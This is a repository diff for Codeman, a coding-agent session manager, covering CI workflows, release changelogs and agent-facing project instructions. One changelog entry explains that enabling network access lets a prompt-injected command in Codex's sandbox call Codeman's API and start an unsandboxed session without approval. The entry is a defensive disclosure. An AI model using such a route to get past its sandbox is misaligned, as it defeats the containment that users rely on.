CODEMAN_TARBALL_URL=file:///tmp/one.tar.gz; install_or_update_repo >/dev/null 2>&1; finish_source_swap
[[ -f "$INSTALL_DIR/$SOURCE_MARKER" && -z "$SOURCE_STAGING" ]]
grep -q 1.0.0 "$INSTALL_DIR/package.json"
touch "$INSTALL_DIR/from-the-old-build"
CODEMAN_TARBALL_URL=file:///tmp/two.tar.gz; install_or_update_repo >/dev/null 2>&1
[[ "$SOURCE_STAGING" == "$INSTALL_DIR.new" ]] && grep -q 1.0.0 "$INSTALL_DIR/package.json"
finish_source_swap
grep -q 2.0.0 "$INSTALL_DIR/package.json"
[[ ! -e "$INSTALL_DIR/from-the-old-build" && ! -e "$INSTALL_DIR.new" && ! -e "$INSTALL_DIR.old" ]]
NO_ADMIN=""; resolve_admin_mode; [[ "$NO_ADMIN" == "0" ]]
echo "bash $BASH_VERSION: no-admin route (checksums, stop before download, archive install and swap) ok"
'
- name: CLI catalogue artifacts are in sync with stock.ts
run: npm run generate:cli-catalog -- --check
+128
View File
@@ -0,0 +1,128 @@
name: Local model catalogue
# Checks every Monday that the local model catalogue (src/config/local-model-catalog.ts) and
# the pinned model runtime (OLLAMA_RUNTIME_PIN in src/local-model/runtime.ts) still match what
# the registry and Ollama's releases serve: a tag can be pushed again or removed, the build a
# Mac downloads can change size, and Ollama ships new versions. The catalogue is compiled into
# Codeman on purpose, so this job only reports; a change ships in a release like any other.
# What it checks, and what a maintainer does with its issue: docs/local-models.md, "Keeping
# the catalogue current".
#
# By hand: gh workflow run local-model-catalog.yml (the file must be on master for that,
# and the schedule only ever runs master's copy). Locally: npm run check:local-model-catalog
#
# Two jobs, so the token that can write issues never sits next to `npm ci`:
# - check installs the dependencies and runs scripts/check-local-model-catalog.mjs with a
# read-only token. Exit 0 clean, 1 drift, 2 the check failed. On 2 the job fails and the
# issue is not touched: an incomplete report must not open or update it.
# - issue runs no code from the repository, only gh. On drift it opens the one issue titled
# "Local model catalogue: weekly check", or puts this week's report into it when it is
# already open. On a clean week it comments on that issue only when one is open.
on:
schedule:
- cron: '0 6 * * 1'
workflow_dispatch:
permissions:
contents: read
# A run by hand while the scheduled one is going must not open a second issue.
concurrency: ${{ github.workflow }}
jobs:
check:
name: Check the catalogue and the runtime pin
runs-on: ubuntu-latest
timeout-minutes: 15
outputs:
status: ${{ steps.check.outputs.status }}
report: ${{ steps.check.outputs.report }}
steps:
- name: Checkout repo
uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
with:
persist-credentials: false
- name: Setup Node.js
uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6.5.0
with:
node-version: 22
cache: 'npm'
# The check needs tsx and zod, both plain JavaScript, so no install script runs here
# (node-pty's build and the repository's postinstall included).
- name: Install dependencies
run: npm ci --ignore-scripts
- name: Run the check
id: check
env:
# Read-only here. Sent to api.github.com only, so the release lookups are not rate limited.
GITHUB_TOKEN: ${{ github.token }}
run: |
set +e
npx tsx scripts/check-local-model-catalog.mjs > "$RUNNER_TEMP/report.md"
code=$?
set -e
cat "$RUNNER_TEMP/report.md" >> "$GITHUB_STEP_SUMMARY"
case "$code" in
0) echo "status=clean" >> "$GITHUB_OUTPUT" ;;
1) echo "status=drift" >> "$GITHUB_OUTPUT" ;;
*)
echo "::error::The check itself failed (exit $code), so the issue is left alone. The summary holds what it found."
exit 1
;;
esac
# One line of base64, so nothing in the report can end the output early. An issue
# body holds at most 65,536 characters; the report is a few KB.
echo "report=$(head -c 60000 "$RUNNER_TEMP/report.md" | base64 -w0)" >> "$GITHUB_OUTPUT"
issue:
name: Keep the weekly issue current
needs: check
runs-on: ubuntu-latest
timeout-minutes: 5
permissions:
contents: read
issues: write
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
ISSUE_TITLE: 'Local model catalogue: weekly check'
STATUS: ${{ needs.check.outputs.status }}
REPORT_B64: ${{ needs.check.outputs.report }}
RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
steps:
- name: Open, update or comment on the issue
run: |
set -euo pipefail
# The issues API, not the search index, so an issue opened a minute ago is found too,
# and an exact title match, so a similar title never counts. The oldest open one wins.
number=$(gh issue list --state open --limit 1000 --json number,title \
| jq -r --arg title "$ISSUE_TITLE" '[.[] | select(.title == $title)] | sort_by(.number) | first | .number // empty')
today=$(date -u +%Y-%m-%d)
case "$STATUS" in
drift)
printf '%s' "$REPORT_B64" | base64 -d > "$RUNNER_TEMP/report.md"
printf '\n---\n\nWritten by the [weekly check](%s). Fix the catalogue or the pin in a pull request and close this issue once that is merged; the next drift opens it again.\n' \
"$RUN_URL" >> "$RUNNER_TEMP/report.md"
if [ -n "$number" ]; then
gh issue edit "$number" --body-file "$RUNNER_TEMP/report.md"
gh issue comment "$number" --body "Week of $today: drift found again. The description now holds this week's report ([run]($RUN_URL))."
else
gh issue create --title "$ISSUE_TITLE" --body-file "$RUNNER_TEMP/report.md"
fi
;;
clean)
if [ -n "$number" ]; then
gh issue comment "$number" --body "Week of $today: the check was clean ([run]($RUN_URL))."
else
echo "Clean, and no issue is open: nothing to do."
fi
;;
*)
echo "::error::The check job reported no status ('$STATUS')."
exit 1
;;
esac
+85
View File
@@ -0,0 +1,85 @@
name: Publish to the MCP registry
# The official MCP registry does not follow npm, so every version is published to it.
# Release calls this after npm took a release. To publish the version on master by hand,
# after a failed run for example: gh workflow run publish-mcp.yml
#
# No secret and no browser login: the registry takes this repository's GitHub Actions OIDC
# token as proof of the io.github.Ark0N/ namespace. That id-token right is why this job
# runs nothing from the repository: it reads server.json and runs one pinned binary.
on:
workflow_call:
workflow_dispatch:
permissions:
contents: read
id-token: write
env:
# Bump both together, the digest from the release's asset. Never releases/latest.
MCP_PUBLISHER_VERSION: v1.8.7
MCP_PUBLISHER_SHA256: 00b21004149a4ce66f0782508ae4a2bce67d1bea395a8da0bd8028159fb59579
REGISTRY_VERSIONS_URL: https://registry.modelcontextprotocol.io/v0/servers/io.github.Ark0N%2Fcodeman/versions
jobs:
publish:
name: Publish
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- name: Checkout repo
uses: actions/checkout@v6
with:
persist-credentials: false
# Also what ends a run for a release that only moved xterm-zerolag-input.
- name: Skip a version the registry already has
id: check
run: |
VERSION=$(jq -r .version config/mcp-registry/server.json)
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
STATUS=$(curl -sS -o /dev/null -w '%{http_code}' "$REGISTRY_VERSIONS_URL/$VERSION")
case "$STATUS" in
200) echo "::notice::$VERSION is already in the MCP registry" ;;
404) echo "needed=true" >> "$GITHUB_OUTPUT" ;;
*) echo "::error::The MCP registry answered $STATUS for $VERSION"; exit 1 ;;
esac
# The registry refuses a version npm does not serve yet, and reads mcpName from it.
- name: Wait until npm serves this version
if: steps.check.outputs.needed == 'true'
env:
VERSION: ${{ steps.check.outputs.version }}
run: |
EXPECTED=$(jq -r .name config/mcp-registry/server.json)
for _ in $(seq 1 60); do
FOUND=$(npm view "aicodeman@$VERSION" mcpName 2>/dev/null || true)
[ "$FOUND" = "$EXPECTED" ] && exit 0
sleep 20
done
echo "::error::npm did not serve aicodeman@$VERSION with mcpName $EXPECTED within 20 minutes"
exit 1
- name: Download mcp-publisher
if: steps.check.outputs.needed == 'true'
run: |
ARCHIVE="$RUNNER_TEMP/mcp-publisher.tar.gz"
curl -fsSL -o "$ARCHIVE" "https://github.com/modelcontextprotocol/registry/releases/download/$MCP_PUBLISHER_VERSION/mcp-publisher_linux_amd64.tar.gz"
echo "$MCP_PUBLISHER_SHA256 $ARCHIVE" | sha256sum -c -
tar xzf "$ARCHIVE" -C "$RUNNER_TEMP" mcp-publisher
- name: Publish
if: steps.check.outputs.needed == 'true'
working-directory: config/mcp-registry
run: |
"$RUNNER_TEMP/mcp-publisher" login github-oidc
"$RUNNER_TEMP/mcp-publisher" publish
- name: Confirm the registry lists it as latest
if: steps.check.outputs.needed == 'true'
env:
VERSION: ${{ steps.check.outputs.version }}
run: |
curl -fsS --retry 4 --retry-all-errors "$REGISTRY_VERSIONS_URL/$VERSION" \
| jq -e '._meta["io.modelcontextprotocol.registry/official"].isLatest == true'
+78
View File
@@ -1,5 +1,83 @@
# aicodeman
## 1.50.0
### Minor Changes
- ### Thanks
- @irisitymichaelgrundberg for the Files panel following an agent into a worktree outside the session's folder, and for the rules that keep that second folder narrow (#780).
- @Randalix for keeping two tests independent of the host's locale and git ignore file (#776).
**Codeman for Mac (#763).** A small native macOS app opens Codeman in its own window: it opens the Codeman running on this Mac, starts it when it is stopped, installs it when it is missing, or connects to Codeman on another machine, with that password kept in the Keychain. It is one universal app for Apple Silicon and Intel on macOS 11.3 or later, and a client of the web UI like a browser tab, so the server and the API do not change for it. Every release from this one carries it as `Codeman.dmg`, signed with a Developer ID and notarized, so it opens after macOS's usual question about a downloaded app ([1.50.0's copy](https://github.com/Ark0N/Codeman/releases/download/codeman@1.50.0/Codeman.dmg)). The app keeps its own version (0.1.0) and does not update itself yet.
**Your MacBook's Apple logo blinks with your agents (#781).** On a MacBook Pro with a PROLED XDR display, whose lid logo lights up, _View > Blink Apple Logo_ gives each agent state its own rhythm: one for _While Working_, one for _Waiting for You_ (a yellow tab) and one for _Needs Permission_ (a red tab), each picked from Calm, Slow, Wink, Heartbeat, Fast and Alarm. Set Heartbeat for work, Wink for a finished turn and Alarm (three sharp flashes, then a rest) for a permission dialog, and the lid tells you from across the room which one it is. All three are off until you choose one, the menu shows only on a Mac with that logo, and no style flashes more than three times a second. It uses a private macOS setting, so a macOS update can take the menu away.
**Install from the app, with no Terminal and no password (#773).** On a Mac without Codeman, the app runs the installer's no-admin route in its own window, shows the steps as a checklist and opens Codeman once it answers. If the Mac has no coding agent it offers one, and _Add a coding agent_ (also in the app menu) adds one later without touching a running Codeman. The This Mac tab now lists every Codeman of this user already running on the Mac. The install needs macOS 15 or a tmux that is already there; on an older Mac the app offers Terminal instead. For this, `install.sh` gained `preflight`, `agent <id>`, `--ai-cli` and `--progress`.
**The Files panel follows a worktree outside the session's folder (#780).** Since 1.49.0 the panel follows an agent into a worktree inside the session's folder. It now also follows one of the same repository beside it, such as `git worktree add ../feature`, when the session's own repository vouches for it, and files there preview, edit and open from terminal links like workspace files. It follows none while attachment workspace confinement is on, and none at or around a blocked or sensitive folder, in a Docker case workspace, at the home folder or above, or outside the owner's space in multi-user mode. The API stays compatible: `liveWorktree` and `root=live` keep their 1.49.0 meaning, and an outside worktree comes as the new `outsideWorktree` field, listed by `root=live-any` with absolute paths.
**A coding model that runs on your Mac (#784, experimental).** On an Apple silicon Mac, **Run a local model** on the welcome screen opens a window that shows which local coding model fits the machine and with which agent, installs a pinned Ollama runtime and the model, checks it, and ends on an agent session that runs on it through a Custom Model Endpoint. The catalogue covers every Apple silicon memory size from 8 to 512 GB, and every model carries memory figures of its own: a 9B coding model (labelled limited) from 18 GB, Qwen3.8 27B or Qwen3.6 35B-A3B from 36 GB, Ornith 1.5 122B from 128 GB, while 8 and 16 GB get a plain sentence on why nothing fits. _Recommended_ appears only for a pairing run on a Mac like yours, so far Qwen3.6 35B-A3B with OpenCode on an M5 Pro with 48 GB; every other figure is computed from the model's architecture and shown as an estimate. No account or API key is needed, and the session's prompts go to the model on this Mac rather than a cloud provider. On any other machine nothing is offered, and in multi-user mode only an admin can install. A weekly check in CI compares every catalogue model and the pinned runtime with what a Mac would download and opens one issue when something moved. The routes and their payloads may change in any release; the guide is `docs/local-models.md`.
**Claude in the cloud, a model on your Mac (#784, experimental).** The codeman skill can hand work to that local model: `local_model` says what is installed and whether it runs, `spawn_worker <name> local` starts a worker on it (and the runtime, when it is stopped), and `sendmark` gives the worker a task and reads back the answer it writes. A Claude Code session plans and reviews while the Mac does the bulk: summaries, first drafts, files that should stay on the machine.
**Ralph starts from Session Options (#783).** The start screen no longer has a Start Ralph Loop button. Behaviour change: start a Ralph loop from Session Options, Ralph / Todo. The wizard that button opened can no longer be reached.
**The Codeman agent skill is on by default (#787).** New sessions get the skill where their CLI looks for skills (`.claude/skills/codeman/` for Claude Code, `.agents/skills/codeman/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP; none for Pi, GitHub Copilot or a plain shell), so an agent can start and drive workers without an install step. The copy ignores itself in git (a `.gitignore` of `*` inside it, written once and never overwritten), so it never shows up as a new file in your repository, and a symlinked `reference/` folder inside it is refused. **Behaviour change:** every App Settings save on 1.49.0 or earlier stored this switch as off whether or not you touched it, so the first start of 1.50.0 switches a stored off on, once per data directory, and the startup log says when it did. Turn it off under App Settings, Agents & CLIs, All agent CLIs, **Codeman Agent Skill**: an off set after that first start stays off. Reload any tab left open from before the upgrade before you save App Settings there. Turning it off removes no copy already written; `codeman skill uninstall --case <name>` does.
**Fixes.**
- **No developer tools window on a Mac without Xcode (#779).** There `/usr/bin/git` is Apple's placeholder, and the server ran it on the first page load, so a 1.49.0 no-admin install opened macOS's "install the command line developer tools" window right after it finished, and again after every server start. Every git the server starts now checks first and treats that placeholder as no git, and installing the tools later needs no restart.
- **A new agent shows up as soon as the installer adds it (#778).** A running Codeman remembered a missing CLI for up to 5 minutes, so Run still said it was not installed after `install.sh agent <id>` or the app had added it. The installer now touches `~/.codeman/cli-installed`, and the server looks again when that file changes.
- **The approvals list leaves a brand-new dialog alone (#782).** In a dialog's first 3 seconds, before Claude Code has drawn it, `GET /api/approvals` could resolve it, which cleared its red tab on every device and left the push notification's Approve button with nothing to answer. The list now waits as long as the inbox does.
- **Custom model endpoints survive concurrent writes.** The endpoint routes and the 5-minute discovery sweep wrote `custom-model-hosts.json` through one shared temp file, so two at once could tear it or drop a record. Every write is serialized now, and a file that does not parse is refused with 409 instead of replaced. Behaviour change: the endpoint id `local-ollama` is reserved for the model Codeman runs on this Mac.
- **Clearing a custom endpoint relaunches on the session's own model.** A selection no longer writes its launch model into the session's stored CLI config, so a cleared session starts on the model it was created with, not on the endpoint's model id against the CLI's own backend. Only API callers could reach this.
**Fixes applied while landing.** An adopted session never follows a worktree outside its folder, like a remote or Docker session (#780). The worktree test also keeps the system gitconfig away from the code under test (#776).
The Release workflow now builds, signs, notarizes and attaches `Codeman.dmg` (`.github/workflows/desktop-dmg.yml`, #785), publishes each version to the official MCP registry (`io.github.Ark0N/codeman`) with GitHub's OIDC token, and rebuilds the GitHub release page from this changelog. Pull requests that touch `packages/desktop` run `cargo fmt`, clippy and `cargo test` on macOS.
**Docs and tests.** The README, the Chinese README and the wiki's Installation page gained a section on the Mac app (#786), the Autonomous Loops page no longer points at the removed wizard, and `docs/local-models.md` covers the local model install. Two tests no longer depend on the host's locale or git ignore file (#776).
## 1.49.0
### Minor Changes
- 12024cc: ### Thanks
- @dignfei for letting Codeman open the tmux sessions you started by hand, on this machine, in a container or over ssh (#510).
- @Randalix for the remote launch fix (#770) and the pi wheel fix (#771), both from their own reports (#760, #758), and for Edit history on remote sessions (#766).
- @opticon454 for the New folder button in Create New's picker (#761) and for Clone Repo's parent folder (#774).
- @shenlvkang-collab for a Files panel scan that no longer lets one folder use up the limit (#614).
- @irisitymichaelgrundberg for reporting that the Files panel stayed on the main checkout (#765), and for catching a `.git` open race in the fix.
- @maminmsh for reporting right-to-left text in the Response Viewer (#715).
**Open the tmux sessions you started yourself (#510).** Tmux sessions you started by hand now show up on the home screen under Opened outside Codeman, and one click opens one as a tab, on this machine, in a container or over ssh. Closing the tab only detaches, so the session keeps running. Codeman did not start it, so respawn, Ralph, auto-clear, one-shot prompts and prompt uploads are refused for it, and when the session ends the tab lets go of it. Adoption is admin-only in multi-user mode. The scan runs only while the home screen is in a visible tab. Close adopted tabs before going back to 1.48.0 or older: an older server does not know a tab is adopted and drops all of those guards.
**Install without administrator rights (#768).** The installer can now finish on an account without admin rights: Node.js and tmux go in your home folder, the source comes as an archive when no working git is available, and `--no-admin` forces this route. An install without git updates by re-running the install line, and Linux still needs make, a C++ compiler and python3.
**Docker Compose starts in two commands (#573).** `bash docker/Start-Codeman.sh` asks three questions, writes `docker/.env`, starts the container and prints the URL once Codeman answers. It now waits for the server and exits 1 if it does not come up (`--no-wait` skips that). Behaviour change: `Start-Codeman.sh` and `Update-Codeman.sh` refuse to run while `CODEMAN_PASSWORD` is still the example value `changeme`, so a deployment on that value has to set a real password before its next restart.
**Codex sessions can drive other sessions (#753).** A new opt-in setting, **Allow network access** (App Settings, Codex, off by default), starts new local Codex sessions with `sandbox_workspace_write.network_access=true`, so the Codeman skill's calls reach this server. It has a real cost: commands in Codex's sandbox can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even with a password set, so the sandbox no longer contains a prompt-injected command. It is forced off without the privileged-commands grant in multi-user mode, scheduled jobs do not use it, and it does not change Codex's sandbox mode. A local Codex 0.162 or later also starts with `--no-daemon`, so a shared background server no longer stops a launch on an "incompatible feature settings" dialog, and commands inside Codex see their own session's `CODEMAN_*` variables. Version gates in the CLI registry are now measured against each CLI's own version.
**Persian, Arabic and Hebrew read right to left (#715).** In the Response Viewer and the File Viewer's markdown view, each paragraph, heading, list, quote and table takes its direction from its own first letter, so a right-to-left answer lines up on the right while an English paragraph beside it stays left to right. Code blocks, inline code and the file paths the viewer links on its own stay left to right and no longer decide a sentence's direction. The phone's Compose dialog does the same. The terminal pane is unchanged: xterm.js has no right-to-left support yet (xtermjs/xterm.js#701).
**Edit history for remote sessions (#766).** The Edit history panel now works for remote (SSH) Claude sessions. It reads transcripts over ssh only while the panel is open, keeps the diffs in the same private local store and never wakes a sleeping host. An unreachable host shows the saved edits with the ssh error, and images preview on click rather than as thumbnails.
**The Files panel follows the agent into a git worktree (#772, #765).** When an agent moves into a worktree part way through a session, the panel lists that worktree, follows the agent back out and shows a strip that names it, with a button to switch to the session's folder. Only a worktree inside the session's folder is followed, and file access stays confined to that folder.
**One big folder no longer hides the rest (#614).** The Files panel and its search now walk folders in a per-directory round-robin, so one large folder no longer uses up the 5,000-entry limit, and search results come back shallow-first. One listing stops opening folders after reading 250,000 entries. A folder the scan stopped short of, or one that did not answer, no longer looks empty: `GET /api/sessions/:id/files` marks it `incomplete: true` (additive), sets `truncated`, and the panel shows a dim "Not fully scanned" row.
**Fixes.**
- **Remote sessions start when the remote home differs (#770, #760).** New sessions no longer die with `tmux: command not found` (exit 127). The launch line reached the local shell in double quotes, so `$HOME` and `$PATH` expanded on the Codeman host before ssh ran. Launches now reach the far end verbatim, and a remote session starts in the remote user's own shell. Behaviour changes: in a per-host `commands.*` override, `$` now expands on the far end; a bare `$VAR` in a Docker `extraCreateArgs`/`extraExecArgs` value or a remote host's `extraSshOptions` is passed literally, so write the value out. `commands.omp` and `commands.copilot` are accepted now, like every other mode. A csh or tcsh login shell starts without `-i -l`, which tcsh refuses, so it reads `.tcshrc` and not `.login`.
- **Remote file reads work on fish, csh and tcsh hosts.** The Files panel, previews and Edit history failed on those login shells, because their reads were parsed by the login shell before `sh` saw them. Every remote file read now crosses it as one word of text. This also ends a case where a file name holding shell syntax ran as a command on those hosts, as the same ssh user the agent runs as.
- **The pi mouse wheel survives a tab switch or reload (#771, #758).** pi now takes the same path as Copilot: the server strips the mouse enables and remembers them, and the wheel is forwarded from that record, on the primary pane, tiles, split Pane B and phones. A drag in fullscreen pi now selects text in the browser instead of using pi's own selection, and with Wheel Scrolls Local History on the wheel does nothing there. A pi in `tuiMode: regular` is unaffected.
- **Clone Repo's custom folder is a parent now (#774).** The repository lands in `<folder>/<case name>`, as it does with Create New, and the preview shows the joined path. Behaviour change: 1.48.0 cloned straight into the folder you picked, so a name the case-name rule refuses, such as `/mnt/my.repo`, can no longer be reached from the tab. `path` on `POST /api/cases/clone` stays the exact target for scripts and mount points.
- **New folder in the Create New and Clone Repo pickers (#761).** You can make the parent folder without leaving the dialog. Asking for one directly in the cases folder is refused, and the refusal points at the right tab.
- **Linked cases hold up under concurrent writes (#764).** Every write to `linked-cases.json` is serialized, so two requests can no longer claim one name or lose each other's entry, and a damaged file is refused with a clear error instead of being overwritten, which used to unlink every other case. A local case's rename racing a new link is not covered.
- **A session keeps its own home and account variables (#767).** A session that set `CLAUDE_CONFIG_DIR`, `DSH_HOME` or the like keeps it when a custom endpoint selection is cleared or switched, also after a Codeman restart. With its own `CLAUDE_CONFIG_DIR` it keeps both its conversation and its account.
**Fixes applied while landing.** An adopted session never falls back to a direct terminal when its wrapper cannot start, which would have run a local agent in `/tmp` (#510). Output from a foreign pane, container or ssh host is parsed in linear time, so it cannot stall the server (#510). A `.git` swapped for a FIFO or a symlink is refused at open (#772). A folder listing that does not answer is flagged instead of shown as empty (#614).
**Docs and tests.** Adoption, the no-admin install, the Compose first run and the new remote shell rows in the guides, wiki and READMEs, new zh-CN strings for the Allow network access warning, and the Playwright bump to 1.64.1 with the browser suite unpinned.
## 1.48.0
### Minor Changes
+26 -17
View File
@@ -52,7 +52,7 @@ Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@chan
When the user says **COM** (`COM` = patch, `COM minor`, `COM major`): **Read [`docs/releasing.md`](docs/releasing.md) and follow every step in order**; never improvise a release from memory. It covers the changeset, `npm run version-packages`, the `**Version**` line below, the branch check and explicit-path commit, deploy, the getcodeman.com badge, watching BOTH CI workflows, the MCP registry publish, and the Discussions announcement.
**Version**: 1.48.0 (must match `package.json`)
**Version**: 1.50.0 (must match `package.json`)
## Project Overview
@@ -103,7 +103,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
- **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
- **Instance isolation / multi-instance attach danger** — the data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts`. ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions**, resizing and mutating them. `$HOME` isolation is NOT enough because tmux is system-global. To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes dir + socket together), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually; `scripts/run-beta.sh` does this for a beta alongside prod. **Any new `~/.codeman/...` path MUST go through `dataPath()`**, never `join(homedir(), '.codeman', …)`, and **any new `tmux -L` caller through `resolveTmuxSocketName()`** (both in `config/instance.ts`): the TUI shells out to tmux from a second process, and a hardcoded `codeman` there would point a beta instance at prod's panes. → [architecture-invariants#instance-isolation-and-the-multi-instance-attach-danger](docs/architecture-invariants.md#instance-isolation-and-the-multi-instance-attach-danger)
- **The prefix table on Codeman's socket holds only `<prefix> send-prefix`** — browser tabs are tmux attach clients, and tmux's stock bindings let Ctrl+B `)`/`s` move a tab onto another session. `createSession` resets the table, and `reconcileSessions()` at boot for sessions that survived an upgrade (`src/tmux-prefix-table.ts`); `root` and `C-<letter> detach-client` (the TUI attach's way out) are left alone, so F1 and that alias reach browser tabs for the length of an attach. Alt+1..9 are `if-shell` bindings that `switch-client` only for the TUI's own client (`client_tty` plus a one-shot pid hook), so a browser tab's Esc-then-digit does not move it. Docker and owned-remote nested servers get the same reduction (`C-q send-prefix` only) in their create chain. ⚠️ So `Ctrl+B d` does not exist there: anything attaching a user's terminal claims its own detach key (F1 in `root`, as `codeman tui` and `scripts/tmux-manager.sh` do). → [architecture-invariants#the-prefix-table-on-codemans-socket-holds-only-send-prefix](docs/architecture-invariants.md#the-prefix-table-on-codemans-socket-holds-only-send-prefix)
- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. (The installer's no-admin route cannot install one, so there it stops before downloading anything and names what is missing.) ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
- **Never start `git` without `gitSpawnAllowed()`** (`utils/git-availability.ts`): on a Mac without the developer tools `/usr/bin/git` is Apple's placeholder, and running it, even as `git --version`, opens macOS's "install the command line developer tools" window. The server did that on the first page load after a no-admin install (`isGitAvailable()` from `renderIndexHtml`) and would have again at every start. The gate resolves `git` on the PATH itself and, for the placeholder, proves the tools first with `xcode-select -p`, which never opens a window; a refusal is answered as ENOENT (`gitMissingError()`), which every caller already reads as "git is not installed". `test/git-spawn-gate.test.ts` pins the list of spawn sites, so a new one fails until it is gated. `install.sh` follows the same rule for the same reason.
- **User-chosen paths are probed BOUNDED, never with `existsSync`/`statSync`** (#516): a linked case or a `workingDir` can sit on a network mount that stopped answering. A synchronous check there freezes the whole server, and an unbounded async `stat`/`lstat`/`readFile` holds one of libuv's threadpool workers (4 by default, shared with every `fs`, `dns.lookup` and `crypto` call) until the mount returns. On a request or spawn path use `probePath()`/`probePathKind()` (`utils/bounded-path-probe.ts`, read its `@fileoverview`). ⚠️ `unknown` is NEVER `absent`: nothing is created, scaffolded or 404'd on it. Bulk scans keep the stall cap; a request for ONE path the user named may pass `{ pastCap: true }`, which still stops at the ceiling that keeps one worker free; and a helper that would otherwise touch the path skips whatever is still `unknown`. User-facing errors for it go through `describeUnknownPath()`, so a refused probe is not reported as a broken folder.
- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — under DSF=2 xterm's WebGL renderer draws glyphs at ~2× nominal size while still *reporting* nominal cell dims, so only the pixels reveal it and only the terminal font looks wrong. And overwriting a fixed output path leaves OS image viewers showing the old render, which reads as "the fix didn't work"; `scripts/capture-real-overview.mjs` mints a timestamped filename per run. Seed the per-device `localStorage` keys (`codeman:skin`, `codeman-font-size`, `codeman-app-settings`) so the capture matches a real device. → [architecture-invariants#headless-screenshot-capture](docs/architecture-invariants.md#headless-screenshot-capture)
@@ -127,7 +128,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Input**: `session.writeViaMux()` for programmatic/curl input via one tmux bracketed paste (`paste-buffer -p`) + `send-keys Enter`; a multi-line prompt keeps its line breaks inside that paste. A single character is typed with `send-keys -l` instead, because selection dialogs ignore a pasted digit. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
